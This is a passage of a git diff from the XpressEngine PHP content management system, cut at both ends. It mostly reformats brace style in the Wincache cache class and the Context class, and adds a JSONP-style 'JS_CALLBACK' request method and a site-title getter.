$this->_delete($_key); return false; } - + return true; } @@ -86,15 +103,20 @@ class CacheWincache extends CacheBase { * * @param string $key The $key that was used to store the variable in the cache. * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function get($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = wincache_ucache_get($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -108,7 +130,8 @@ class CacheWincache extends CacheBase { * @param string $_key Used to store the value. * @return void */ - function _delete($_key) { + function _delete($_key) + { wincache_ucache_delete($_key); } @@ -118,8 +141,9 @@ class CacheWincache extends CacheBase { * @param string $key Used to store the value. * @return void */ - function delete($key) { - $_key = md5(_XE_PATH_.$key); + function delete($key) + { + $_key = md5(_XE_PATH_ . $key); $this->_delete($_key); } @@ -128,10 +152,11 @@ class CacheWincache extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { return wincache_ucache_clear(); } -} +} /* End of file CacheWincache.class.php */ /* Location: ./classes/cache/CacheWincache.class.php */ diff --git a/classes/context/Context.class.php b/classes/context/Context.class.php index 90a7b4f87..6fc4792dc 100644 --- a/classes/context/Context.class.php +++ b/classes/context/Context.class.php @@ -1,7 +1,8 @@ .. * @var string */ var $html_header = NULL; + /** * class names of * @var array */ - var $body_class = array(); + var $body_class = array(); + /** * codes after * @var string */ var $body_header = NULL; + /** * class names before * @var string */ var $html_footer = NULL; + /** - * path of Xpress Engine + * path of Xpress Engine * @var string */ var $path = ''; - // language information - it is changed by HTTP_USER_AGENT or user's cookie /** - * language type + * language type * @var string */ var $lang_type = ''; + /** * contains language-specific data - * @var object + * @var object */ var $lang = NULL; + /** * list of loaded languages (to avoid re-loading them) * @var array */ var $loaded_lang_files = array(); + /** * site's browser title * @var string */ var $site_title = ''; + /** * variables from GET or form submit * @var mixed */ var $get_vars = NULL; + /** - * Checks uploaded + * Checks uploaded * @var bool true if attached file exists */ var $is_uploaded = false; @@ -133,19 +158,12 @@ class Context { * * @return object Instance */ - function &getInstance() { + function &getInstance() + { static $theInstance = null; - if(!$theInstance) $theInstance = new Context(); - - // include ssl action cache file - $theInstance->sslActionCacheFile = FileHandler::getRealPath($theInstance->sslActionCacheFile); - if(is_readable($theInstance->sslActionCacheFile)) + if(!$theInstance) { - require_once($theInstance->sslActionCacheFile); - if(isset($sslActions)) - { - $theInstance->ssl_actions = $sslActions; - } + $theInstance = new Context(); } return $theInstance; @@ -159,6 +177,18 @@ class Context { function Context() { $this->oFrontEndFileHandler = new FrontEndFileHandler(); + $this->get_vars = new stdClass(); + + // include ssl action cache file + $this->sslActionCacheFile = FileHandler::getRealPath($this->sslActionCacheFile); + if(is_readable($this->sslActionCacheFile)) + { + require_once($this->sslActionCacheFile); + if(isset($sslActions)) + { + $this->ssl_actions = $sslActions; + } + } } /** @@ -167,7 +197,8 @@ class Context { * @see This function should be called only once * @return void */ - function init() { + function init() + { // set context variables in $GLOBALS (to use in display handler) $this->context = &$GLOBALS['__Context__']; $this->context->lang = &$GLOBALS['lang']; @@ -183,115 +214,170 @@ class Context { $this->loadDBInfo(); // If XE is installed, get virtual site information - if(Context::isInstalled()) { - $oModuleModel = &getModel('module'); + if(Context::isInstalled()) + { + $oModuleModel = getModel('module'); $site_module_info = $oModuleModel->getDefaultMid(); + + if(!isset($site_module_info)) + { + $site_module_info = new stdClass(); + } + // if site_srl of site_module_info is 0 (default site), compare the domain to default_url of db_config - if($site_module_info->site_srl == 0 && $site_module_info->domain != $this->db_info->default_url) { + if($site_module_info->site_srl == 0 && $site_module_info->domain != $this->db_info->default_url) + { $site_module_info->domain = $this->db_info->default_url; } $this->set('site_module_info', $site_module_info); - if($site_module_info->site_srl && isSiteID($site_module_info->domain)) $this->set('vid', $site_module_info->domain, true); + if($site_module_info->site_srl && isSiteID($site_module_info->domain)) + { + $this->set('vid', $site_module_info->domain, true); + } + + if(!isset($this->db_info)) + { + $this->db_info = new stdClass(); + } $this->db_info->lang_type = $site_module_info->default_language; - if(!$this->db_info->lang_type) $this->db_info->lang_type = 'en'; - if(!$this->db_info->use_db_session) $this->db_info->use_db_session = 'N'; + if(!$this->db_info->lang_type) + { + $this->db_info->lang_type = 'en'; + } + if(!$this->db_info->use_db_session) + { + $this->db_info->use_db_session = 'N'; + } } // Load Language File $lang_supported = $this->loadLangSelected(); // Retrieve language type set in user's cookie - if($this->get('l')) { + if($this->get('l')) + { $this->lang_type = $this->get('l'); - if($_COOKIE['lang_type'] != $this->lang_type) { - setcookie('lang_type', $this->lang_type, time()+3600*24*1000, '/'); + if($_COOKIE['lang_type'] != $this->lang_type) + { + setcookie('lang_type', $this->lang_type, time() + 3600 * 24 * 1000, '/'); } - } elseif($_COOKIE['lang_type']) { + } + elseif($_COOKIE['lang_type']) + { $this->lang_type = $_COOKIE['lang_type']; } // If it's not exists, follow default language type set in db_info - if(!$this->lang_type) $this->lang_type = $this->db_info->lang_type; + if(!$this->lang_type) + { + $this->lang_type = $this->db_info->lang_type; + } // if still lang_type has not been set or has not-supported type , set as English. - if(!$this->lang_type) $this->lang_type = 'en'; - if(is_array($lang_supported)&&!isset($lang_supported[$this->lang_type])) $this->lang_type = 'en'; + if(!$this->lang_type) + { + $this->lang_type = 'en'; + } + if(is_array($lang_supported) && !isset($lang_supported[$this->lang_type])) + { + $this->lang_type = 'en'; + } $this->set('lang_supported', $lang_supported); $this->setLangType($this->lang_type); // load module module's language file according to language setting - $this->loadLang(_XE_PATH_.'modules/module/lang'); + $this->loadLang(_XE_PATH_ . 'modules/module/lang'); // set session handler - if(Context::isInstalled() && $this->db_info->use_db_session == 'Y') { - $oSessionModel = &getModel('session'); - $oSessionController = &getController('session'); + if(Context::isInstalled() && $this->db_info->use_db_session == 'Y') + { + $oSessionModel = getModel('session'); + $oSessionController = getController('session'); session_set_save_handler( - array(&$oSessionController, 'open'), - array(&$oSessionController, 'close'), - array(&$oSessionModel, 'read'), - array(&$oSessionController, 'write'), - array(&$oSessionController, 'destroy'), - array(&$oSessionController, 'gc') + array(&$oSessionController, 'open'), array(&$oSessionController, 'close'), array(&$oSessionModel, 'read'), array(&$oSessionController, 'write'), array(&$oSessionController, 'destroy'), array(&$oSessionController, 'gc') ); } session_start(); - if($sess=$_POST[session_name()]) session_id($sess); + if($sess = $_POST[session_name()]) + { + session_id($sess); + } // set authentication information in Context and session - if(Context::isInstalled()) { - $oModuleModel = &getModel('module'); + if(Context::isInstalled()) + { + $oModuleModel = getModel('module'); $oModuleModel->loadModuleExtends(); - $oMemberModel = &getModel('member'); - $oMemberController = &getController('member'); + $oMemberModel = getModel('member'); + $oMemberController = getController('member'); if($oMemberController && $oMemberModel) { // if signed in, validate it. - if($oMemberModel->isLogged()) { + if($oMemberModel->isLogged()) + { $oMemberController->setSessionInfo(); } - elseif($_COOKIE['xeak']) { // check auto sign-in + // check auto sign-in + elseif($_COOKIE['xeak']) + { $oMemberController->doAutologin(); } - $this->set('is_logged', $oMemberModel->isLogged() ); - $this->set('logged_info', $oMemberModel->getLoggedInfo() ); + $this->set('is_logged', $oMemberModel->isLogged()); + $this->set('logged_info', $oMemberModel->getLoggedInfo()); } } // load common language file $this->lang = &$GLOBALS['lang']; - $this->loadLang(_XE_PATH_.'common/lang/'); + $this->loadLang(_XE_PATH_ . 'common/lang/'); // check if using rewrite module - if(file_exists(_XE_PATH_.'.htaccess')&&$this->db_info->use_rewrite == 'Y') $this->allow_rewrite = true; - else $this->allow_rewrite = false; + if(file_exists(_XE_PATH_ . '.htaccess') && $this->db_info->use_rewrite == 'Y') + { + $this->allow_rewrite = true; + } + else + { + $this->allow_rewrite = false; + } // set locations for javascript use - if($_SERVER['REQUEST_METHOD'] == 'GET') { - if($this->get_vars) { - foreach($this->get_vars as $key=>$val) { - if(is_array($val)&&count($val)) { - foreach($val as $k => $v) { - $url .= ($url?'&':'').$key.'['.$k.']='.urlencode($v); + if($_SERVER['REQUEST_METHOD'] == 'GET') + { + if($this->get_vars) + { + foreach($this->get_vars as $key => $val) + { + if(is_array($val) && count($val)) + { + foreach($val as $k => $v) + { + $url .= ($url ? '&' : '') . $key . '[' . $k . ']=' . urlencode($v); } - } elseif ($val) { - $url .= ($url?'&':'').$key.'='.urlencode($val); + } + elseif($val) + { + $url .= ($url ? '&' : '') . $key . '=' . urlencode($val); } } - $this->set('current_url',sprintf('%s?%s', Context::getRequestUri(), $url)); - } else { - $this->set('current_url',$this->getUrl()); + $this->set('current_url', sprintf('%s?%s', Context::getRequestUri(), $url)); + } + else + { + $this->set('current_url', $this->getUrl()); } - } else { - $this->set('current_url',Context::getRequestUri()); } - $this->set('request_uri',Context::getRequestUri()); + else + { + $this->set('current_url', Context::getRequestUri()); + } + $this->set('request_uri', Context::getRequestUri()); } /** @@ -299,13 +385,20 @@ class Context { * * @return void */ - function close() { + function close() + { // Session Close - if(function_exists('session_write_close')) session_write_close(); + if(function_exists('session_write_close')) + { + session_write_close(); + } // DB close - $oDB = &DB::getInstance(); - if(is_object($oDB)&&method_exists($oDB, 'close')) $oDB->close(); + $oDB = DB::getInstance(); + if(is_object($oDB) && method_exists($oDB, 'close')) + { + $oDB->close(); + } } /** @@ -313,52 +406,76 @@ class Context { * * @return void */ - function loadDBInfo() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function loadDBInfo() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if(!$self->isInstalled()) return; + if(!$self->isInstalled()) + { + return; + } $config_file = $self->getConfigFile(); - if(is_readable($config_file)) @include($config_file); + if(is_readable($config_file)) + { + @include($config_file); + } - // If master_db information does not exist, the config file needs to be updated - if(!isset($db_info->master_db)) { - $db_info->master_db = array(); - $db_info->master_db["db_type"] = $db_info->db_type; unset($db_info->db_type); - $db_info->master_db["db_port"] = $db_info->db_port; unset($db_info->db_port); - $db_info->master_db["db_hostname"] = $db_info->db_hostname; unset($db_info->db_hostname); - $db_info->master_db["db_password"] = $db_info->db_password; unset($db_info->db_password); - $db_info->master_db["db_database"] = $db_info->db_database; unset($db_info->db_database); - $db_info->master_db["db_userid"] = $db_info->db_userid; unset($db_info->db_userid); - $db_info->master_db["db_table_prefix"] = $db_info->db_table_prefix; unset($db_info->db_table_prefix); - if(substr($db_info->master_db["db_table_prefix"],-1)!='_') $db_info->master_db["db_table_prefix"] .= '_'; + // If master_db information does not exist, the config file needs to be updated + if(!isset($db_info->master_db)) + { + $db_info->master_db = array(); + $db_info->master_db["db_type"] = $db_info->db_type; + unset($db_info->db_type); + $db_info->master_db["db_port"] = $db_info->db_port; + unset($db_info->db_port); + $db_info->master_db["db_hostname"] = $db_info->db_hostname; + unset($db_info->db_hostname); + $db_info->master_db["db_password"] = $db_info->db_password; + unset($db_info->db_password); + $db_info->master_db["db_database"] = $db_info->db_database; + unset($db_info->db_database); + $db_info->master_db["db_userid"] = $db_info->db_userid; + unset($db_info->db_userid); + $db_info->master_db["db_table_prefix"] = $db_info->db_table_prefix; + unset($db_info->db_table_prefix); + if(substr($db_info->master_db["db_table_prefix"], -1) != '_') + { + $db_info->master_db["db_table_prefix"] .= '_'; + } - $slave_db = $db_info->master_db; - $db_info->slave_db = array($slave_db); - - $self->setDBInfo($db_info); + $slave_db = $db_info->master_db; + $db_info->slave_db = array($slave_db); - $oInstallController = &getController('install'); - $oInstallController->makeConfigFile(); - } - - if(!$db_info->use_prepared_statements) + $self->setDBInfo($db_info); + + $oInstallController = getController('install'); + $oInstallController->makeConfigFile(); + } + + if(!$db_info->use_prepared_statements) { $db_info->use_prepared_statements = 'Y'; } - - if(!$db_info->time_zone) $db_info->time_zone = date('O'); + + if(!$db_info->time_zone) + $db_info->time_zone = date('O'); $GLOBALS['_time_zone'] = $db_info->time_zone; - if($db_info->qmail_compatibility != 'Y') $db_info->qmail_compatibility = 'N'; + if($db_info->qmail_compatibility != 'Y') + $db_info->qmail_compatibility = 'N'; $GLOBALS['_qmail_compatibility'] = $db_info->qmail_compatibility; - if(!$db_info->use_db_session) $db_info->use_db_session = 'N'; - if(!$db_info->use_ssl) $db_info->use_ssl = 'none'; + if(!$db_info->use_db_session) + $db_info->use_db_session = 'N'; + if(!$db_info->use_ssl) + $db_info->use_ssl = 'none'; $this->set('_use_ssl', $db_info->use_ssl); - if($db_info->http_port) $self->set('_http_port', $db_info->http_port); - if($db_info->https_port) $self->set('_https_port', $db_info->https_port); + if($db_info->http_port) + $self->set('_http_port', $db_info->http_port); + if($db_info->https_port) + $self->set('_https_port', $db_info->https_port); $self->setDBInfo($db_info); } @@ -368,8 +485,9 @@ class Context { * * @return string DB's db_type */ - function getDBType() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getDBType() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->db_info->master_db["db_type"]; } @@ -379,8 +497,9 @@ class Context { * @param object $db_info DB information * @return void */ - function setDBInfo($db_info) { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setDBInfo($db_info) + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->db_info = $db_info; } @@ -389,15 +508,16 @@ class Context { * * @return object DB information */ - function getDBInfo() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getDBInfo() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->db_info; } /** * Return ssl status * - * @return object SSL status (Optional - none|always|optional) + * @return object SSL status (Optional - none|always|optional) */ function getSslStatus() { @@ -410,7 +530,8 @@ class Context { * * @return string Default URL */ - function getDefaultUrl() { + function getDefaultUrl() + { $db_info = Context::getDBInfo(); return $db_info->default_url; } @@ -420,12 +541,15 @@ class Context { * * @return array Supported languages */ - function loadLangSupported() { + function loadLangSupported() + { static $lang_supported = null; - if(!$lang_supported) { - $langs = file(_XE_PATH_.'common/lang/lang.info'); - foreach($langs as $val) { - list($lang_prefix, $lang_text) = explode(',',$val); + if(!$lang_supported) + { + $langs = file(_XE_PATH_ . 'common/lang/lang.info'); + foreach($langs as $val) + { + list($lang_prefix, $lang_text) = explode(',', $val); $lang_text = trim($lang_text); $lang_supported[$lang_prefix] = $lang_text; } @@ -438,24 +562,31 @@ class Context { * * @return array Selected languages */ - function loadLangSelected() { + function loadLangSelected() + { static $lang_selected = null; - if(!$lang_selected) { - $orig_lang_file = _XE_PATH_.'common/lang/lang.info'; - $selected_lang_file = _XE_PATH_.'files/config/lang_selected.info'; - if(!FileHandler::hasContent($selected_lang_file)) { - $old_selected_lang_file = _XE_PATH_.'files/cache/lang_selected.info'; + if(!$lang_selected) + { + $orig_lang_file = _XE_PATH_ . 'common/lang/lang.info'; + $selected_lang_file = _XE_PATH_ . 'files/config/lang_selected.info'; + if(!FileHandler::hasContent($selected_lang_file)) + { + $old_selected_lang_file = _XE_PATH_ . 'files/cache/lang_selected.info'; FileHandler::moveFile($old_selected_lang_file, $selected_lang_file); } - if(!FileHandler::hasContent($selected_lang_file)) { + if(!FileHandler::hasContent($selected_lang_file)) + { $buff = FileHandler::readFile($orig_lang_file); FileHandler::writeFile($selected_lang_file, $buff); $lang_selected = Context::loadLangSupported(); - } else { + } + else + { $langs = file($selected_lang_file); - foreach($langs as $val) { - list($lang_prefix, $lang_text) = explode(',',$val); + foreach($langs as $val) + { + list($lang_prefix, $lang_text) = explode(',', $val); $lang_text = trim($lang_text); $lang_selected[$lang_prefix] = $lang_text; } @@ -469,42 +600,62 @@ class Context { * * @return bool True : Module handling is necessary in the control path of current request , False : Otherwise */ - function checkSSO() { + function checkSSO() + { // pass if it's not GET request or XE is not yet installed - if($this->db_info->use_sso != 'Y' || isCrawler()) return true; - $checkActList = array('rss'=>1, 'atom'=>1); - if(Context::getRequestMethod()!='GET' || !Context::isInstalled() || isset($checkActList[Context::get('act')])) return true; + if($this->db_info->use_sso != 'Y' || isCrawler()) + { + return true; + } + $checkActList = array('rss' => 1, 'atom' => 1); + if(Context::getRequestMethod() != 'GET' || !Context::isInstalled() || isset($checkActList[Context::get('act')])) + { + return true; + } // pass if default URL is not set $default_url = trim($this->db_info->default_url); - if(!$default_url) return true; - if(substr($default_url,-1)!='/') $default_url .= '/'; + if(!$default_url) + { + return true; + } + if(substr($default_url, -1) != '/') + { + $default_url .= '/'; + } // for sites recieving SSO valdiation - if($default_url == Context::getRequestUri()) { - if(Context::get('default_url')) { + if($default_url == Context::getRequestUri()) + { + if(Context::get('default_url')) + { $url = base64_decode(Context::get('default_url')); $url_info = parse_url($url); - $url_info['query'].= ($url_info['query']?'&':'').'SSOID='.session_id(); - $redirect_url = sprintf('%s://%s%s%s?%s',$url_info['scheme'],$url_info['host'],$url_info['port']?':'.$url_info['port']:'',$url_info['path'], $url_info['query']); - header('location:'.$redirect_url); + $url_info['query'].= ($url_info['query'] ? '&' : '') . 'SSOID=' . session_id(); + $redirect_url = sprintf('%s://%s%s%s?%s', $url_info['scheme'], $url_info['host'], $url_info['port'] ? ':' . $url_info['port'] : '', $url_info['path'], $url_info['query']); + header('location:' . $redirect_url); return false; } - // for sites requesting SSO validation - } else { + // for sites requesting SSO validation + } + else + { // result handling : set session_name() - if(Context::get('SSOID')) { + if(Context::get('SSOID')) + { $session_name = Context::get('SSOID'); setcookie(session_name(), $session_name); - $url = preg_replace('/([\?\&])$/','',str_replace('SSOID='.$session_name,'',Context::getRequestUrl())); - header('location:'.$url); + $url = preg_replace('/([\?\&])$/', '', str_replace('SSOID=' . $session_name, '', Context::getRequestUrl())); + header('location:' . $url); return false; - // send SSO request - } else if($_COOKIE['sso']!=md5(Context::getRequestUri()) && !Context::get('SSOID')) { - setcookie('sso',md5(Context::getRequestUri()),0,'/'); + // send SSO request + } + else if($_COOKIE['sso'] != md5(Context::getRequestUri()) && !Context::get('SSOID')) + { + setcookie('sso', md5(Context::getRequestUri()), 0, '/'); $url = sprintf("%s?default_url=%s", $default_url, base64_encode(Context::getRequestUrl())); - header('location:'.$url); + header('location:' . $url); return false; } } @@ -517,9 +668,13 @@ class Context { * * @return bool True: FTP information is registered, False: otherwise */ - function isFTPRegisted() { + function isFTPRegisted() + { $ftp_config_file = Context::getFTPConfigFile(); - if(file_exists($ftp_config_file)) return true; + if(file_exists($ftp_config_file)) + { + return true; + } return false; } @@ -528,9 +683,13 @@ class Context { * * @return object FTP information */ - function getFTPInfo() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if(!$self->isFTPRegisted()) return null; + function getFTPInfo() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if(!$self->isFTPRegisted()) + { + return null; + } $ftp_config_file = $self->getFTPConfigFile(); @include($ftp_config_file); @@ -544,12 +703,22 @@ class Context { * @param string $site_title Browser title to be added * @return void */ - function addBrowserTitle($site_title) { - if(!$site_title) return; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function addBrowserTitle($site_title) + { + if(!$site_title) + { + return; + } + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if($self->site_title) $self->site_title .= ' - '.$site_title; - else $self->site_title = $site_title; + if($self->site_title) + { + $self->site_title .= ' - ' . $site_title; + } + else + { + $self->site_title = $site_title; + } } /** @@ -558,9 +727,13 @@ class Context { * @param string $site_title Browser title to be set * @return void */ - function setBrowserTitle($site_title) { - if(!$site_title) return; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setBrowserTitle($site_title) + { + if(!$site_title) + { + return; + } + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->site_title = $site_title; } @@ -569,19 +742,40 @@ class Context { * * @return string Browser title(htmlspecialchars applied) */ - function getBrowserTitle() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getBrowserTitle() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - $oModuleController = &getController('module'); + $oModuleController = getController('module'); $oModuleController->replaceDefinedLangCode($self->site_title); return htmlspecialchars($self->site_title); } + + /** + * Return layout's title + * @return string layout's title + */ + public function getSiteTitle() + { + $oModuleModel = &getModel('module'); + $moduleConfig = $oModuleModel->getModuleConfig('module'); + + if(isset($moduleConfig->siteTitle)) + { + return $moduleConfig->siteTitle; + } + return ''; + } + /** * Get browser title * @deprecated */ - function _getBrowserTitle() { return $this->getBrowserTitle(); } + function _getBrowserTitle() + { + return $this->getBrowserTitle(); + } /** * Load language file according to language type @@ -589,23 +783,42 @@ class Context { * @param string $path Path of the language file * @return void */ - function loadLang($path) { + function loadLang($path) + { global $lang; - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); - if(!is_object($lang)) $lang = new stdClass; - if(!$self->lang_type) return; + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); + if(!is_object($lang)) + { + $lang = new stdClass; + } + if(!$self->lang_type) + { + return; + } $filename = $self->_loadXmlLang($path); - if(!$filename) $filename = $self->_loadPhpLang($path); + if(!$filename) + { + $filename = $self->_loadPhpLang($path); + } - if(!is_array($self->loaded_lang_files)) $self->loaded_lang_files = array(); - if(in_array($filename, $self->loaded_lang_files)) return; + if(!is_array($self->loaded_lang_files)) + { + $self->loaded_lang_files = array(); + } + if(in_array($filename, $self->loaded_lang_files)) + { + return; + } - if ($filename && is_readable($filename)){ + if($filename && is_readable($filename)) + { $self->loaded_lang_files[] = $filename; @include($filename); - }else{ + } + else + { $self->_evalxmlLang($path); } } @@ -616,20 +829,28 @@ class Context { * @param string Path of the language file * @return void */ - function _evalxmlLang($path) { + function _evalxmlLang($path) + { global $lang; - - $_path = 'eval://'.$path; - if(in_array($_path, $this->loaded_lang_files)) return; + $_path = 'eval://' . $path; - if(substr($path,-1)!='/') $path .= '/'; - $file = $path.'lang.xml'; + if(in_array($_path, $this->loaded_lang_files)) + { + return; + } + + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $file = $path . 'lang.xml'; $oXmlLangParser = new XmlLangParser($file, $this->lang_type); $content = $oXmlLangParser->getCompileContent(); - if ($content){ + if($content) + { $this->loaded_lang_files[] = $_path; eval($content); } @@ -641,9 +862,13 @@ class Context { * @param string $path Path of the language file * @return string file name */ - function _loadXmlLang($path) { - if(substr($path,-1)!='/') $path .= '/'; - $file = $path.'lang.xml'; + function _loadXmlLang($path) + { + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $file = $path . 'lang.xml'; $oXmlLangParser = new XmlLangParser($file, $this->lang_type); $file = $oXmlLangParser->compile(); @@ -657,17 +882,25 @@ class Context { * @param string $path Path of the language file * @return string file name */ - function _loadPhpLang($path) { - if(substr($path,-1)!='/') $path .= '/'; - $path_tpl = $path.'%s.lang.php'; + function _loadPhpLang($path) + { + if(substr($path, -1) != '/') + { + $path .= '/'; + } + $path_tpl = $path . '%s.lang.php'; $file = sprintf($path_tpl, $this->lang_type); - $langs = array('ko','en'); // this will be configurable. - while(!is_readable($file) && $langs[0]) { + $langs = array('ko', 'en'); // this will be configurable. + while(!is_readable($file) && $langs[0]) + { $file = sprintf($path_tpl, array_shift($langs)); } - if(!is_readable($file)) return false; + if(!is_readable($file)) + { + return false; + } return $file; } @@ -677,8 +910,9 @@ class Context { * @param string $lang_type Language type. * @return void */ - function setLangType($lang_type = 'ko') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setLangType($lang_type = 'ko') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); $self->lang_type = $lang_type; $self->set('lang_type', $lang_type); @@ -691,8 +925,9 @@ class Context { * * @return string Language type */ - function getLangType() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getLangType() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); return $self->lang_type; } @@ -702,9 +937,16 @@ class Context { * @param string $code Language variable name * @return string If string for the code exists returns it, otherwise returns original code */ - function getLang($code) { - if(!$code) return; - if($GLOBALS['lang']->{$code}) return $GLOBALS['lang']->{$code}; + function getLang($code) + { + if(!$code) + { + return; + } + if($GLOBALS['lang']->{$code}) + { + return $GLOBALS['lang']->{$code}; + } return $code; } @@ -715,7 +957,12 @@ class Context { * @param string $val `$code`s value * @return void */ - function setLang($code, $val) { + function setLang($code, $val) + { + if(!isset($GLOBALS['lang'])) + { + $GLOBALS['lang'] = new stdClass(); + } $GLOBALS['lang']->{$code} = $val; } @@ -725,7 +972,8 @@ class Context { * @param object $source_obj Conatins strings to convert * @return object converted object */ - function convertEncoding($source_obj) { + function convertEncoding($source_obj) + { $charset_list = array( 'UTF-8', 'EUC-KR', 'CP949', 'ISO8859-1', 'EUC-JP', 'SHIFT_JIS', 'CP932', 'EUC-CN', 'HZ', 'GBK', 'GB18030', 'EUC-TW', 'BIG5', 'CP950', 'BIG5-HKSCS', @@ -737,27 +985,31 @@ class Context { 'CP1257', 'CP850', 'CP866', ); - $obj = clone($source_obj); + $obj = clone $source_obj; - foreach($charset_list as $charset) + foreach($charset_list as $charset) { array_walk($obj,'Context::checkConvertFlag',$charset); $flag = Context::checkConvertFlag($flag = true); if($flag) { - if($charset == 'UTF-8') return $obj; + if($charset == 'UTF-8') + { + return $obj; + } array_walk($obj,'Context::doConvertEncoding',$charset); return $obj; } } return $obj; } + /** - * Check flag + * Check flag * * @param mixed $val * @param string $key - * @param mixed $charset charset + * @param mixed $charset charset * @see arrayConvWalkCallback will replaced array_walk_recursive in >=PHP5 * @return void */ @@ -780,7 +1032,7 @@ class Context { } /** - * Convert array type variables into UTF-8 + * Convert array type variables into UTF-8 * * @param mixed $val * @param string $key @@ -803,7 +1055,9 @@ class Context { * @param string $str String to convert * @return string converted string */ - function convertEncodingStr($str) { + function convertEncodingStr($str) + { + $obj = new stdClass(); $obj->str = $str; $obj = Context::convertEncoding($obj); return $obj->str; @@ -815,10 +1069,11 @@ class Context { * @param string $method Response method. [HTML|XMLRPC|JSON] * @return void */ - function setResponseMethod($method='HTML') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setResponseMethod($method = 'HTML') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - $methods = array('HTML'=>1, 'XMLRPC'=>1, 'JSON'=>1); + $methods = array('HTML' => 1, 'XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); $self->response_method = isset($methods[$method]) ? $method : 'HTML'; } @@ -827,13 +1082,17 @@ class Context { * * @return string Response method. If it's not set, returns request method. */ - function getResponseMethod() { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function getResponseMethod() + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - if($self->response_method) return $self->response_method; + if($self->response_method) + { + return $self->response_method; + } - $method = $self->getRequestMethod(); - $methods = array('HTML'=>1, 'XMLRPC'=>1, 'JSON'=>1); + $method = $self->getRequestMethod(); + $methods = array('HTML' => 1, 'XMLRPC' => 1, 'JSON' => 1, 'JS_CALLBACK' => 1); return isset($methods[$method]) ? $method : 'HTML'; } @@ -844,13 +1103,17 @@ class Context { * @param string $type Request method. (Optional - GET|POST|XMLRPC|JSON) * @return void */ - function setRequestMethod($type='') { - is_a($this,'Context')?$self=&$this:$self=&Context::getInstance(); + function setRequestMethod($type = '') + { + is_a($this, 'Context') ? $self = $this : $self = Context::getInstance(); - ($type && $self->request_method=$type) or - (strpos($_SERVER['CONTENT_TYPE'],'json') && $self->request_method='JSON') or - ($GLOBALS['HTTP_RAW_POST_DATA'] && $self->request_method='XMLRPC') or - ($self->request_method = $_SERVER['REQUEST_METHOD']); + $self->js_callback_func = isset($_GET['xe_js_callback']) ? $_GET['xe_js_callback'] : $_POST['xe_js_callback']; + + ($type && $self->request_method = $type) or + (strpos($_SERVER['CONTENT_TYPE'], 'json') && $self->request_method = 'JSON') or + ($GLOBALS['HTTP_RAW_POST_DATA'] && $self->request_method = 'XMLRPC') or + ($self->js_callback_func && $self->request_method = 'JS_CALLBACK') or + ($self->request_method = $_SERVER['REQUEST_METHOD']); } /** @@ -858,16 +1121,37 @@ class Context { * * @return void */ - function _setRequestArgument() { - if(!count($_REQUEST)) return; + function _setRequestArgument() + { + if(!count($_REQUEST)) + { + return; + } - foreach($_REQUEST as $key => $val) { - if($val === '' || Context::get($key)) continue; + foreach($_REQUEST as $key => $val) + { + if($val === '' || Context::get($key)) + { + continue; + } $val = $this->_filterRequestVar($key, $val); - if($this->getRequestMethod()=='GET'&&isset($_GET[$key])) $set_to_vars = true; - elseif($this->getRequestMethod()=='POST'&&isset($_POST[$key])) $set_to_vars = true; - else $set_to_vars = false; + if($this->getRequestMethod() == 'GET' && isset($_GET[$key])) + { + $set_to_vars = true; + } + elseif($this->getRequestMethod() == 'POST' && isset($_POST[$key])) + { + $set_to_vars = true; + } + elseif($this->getRequestMethod() == 'JS_CALLBACK' && (isset($_GET[$key]) || isset($_POST[$key]))) + { + $set_to_vars = true; + } + else + { + $set_to_vars = false; + } if($set_to_vars) { @@ -906,14 +1190,19 @@ class Context { * * @return void */ - function _setJSONRequestArgument() { - if($this->getRequestMethod() != 'JSON') return; + function _setJSONRequestArgument() + { + if($this->getRequestMethod() != 'JSON') + { + return; + } $params = array(); - parse_str($GLOBALS['HTTP_RAW_POST_DATA'],$params); + parse_str($GLOBALS['HTTP_RAW_POST_DATA'], $params); - foreach($params as $key => $val) { - $val = $this->_filterRequestVar($key, $val,0); + foreach($params as $key => $val) + { + $val = $this->_filterRequestVar($key, $val, 1); $this->set($key, $val, true); } } @@ -923,8 +1212,12 @@ class Context { * * @return void */ - function _setXmlRpcArgument() { - if($this->getRequestMethod() != 